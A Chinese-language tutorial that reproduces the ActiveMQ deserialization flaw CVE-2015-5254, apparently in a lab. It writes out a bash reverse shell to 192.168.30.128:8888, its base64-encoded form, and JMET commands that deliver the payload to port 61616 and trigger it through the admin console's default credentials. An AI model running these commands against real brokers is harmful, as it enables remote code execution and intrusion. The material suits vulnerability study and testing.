C/C++教程

ActiveMQ 反序列化漏洞(CVE-2015-5254)

本文主要是介绍ActiveMQ 反序列化漏洞(CVE-2015-5254),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

漏洞背景

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

影响范围

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞利用过程

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

漏洞复现

一、首先攻击机开好端口监听
在这里插入图片描述
二、然后将需要在靶机内运行的反弹shell命令序列化

/bin/bash -i >& /dev/tcp/192.168.30.128/8888 0>&1

可以去到这个网站序列化shell命令http://www.jackson-t.ca/runtime-exec-payloads.html在这里插入图片描述
得到bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

三、然后使用漏洞利用工具JMET

下载地址:https://github.com/matthiaskaiser/jmet/releases

试例:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

更改为反弹shell命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.30.128 61616

四、此时会给目标ActiveMQ添加一个名为event的队列,自行访问http://192.168.30.128:8161/admin/browse.jsp?JMSDestination=event
默认账户密码都为admin
在这里插入图片描述
点击查看该信息,返回攻击机查看nc连接,已经能看到反shell了
在这里插入图片描述

这篇关于ActiveMQ 反序列化漏洞(CVE-2015-5254)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!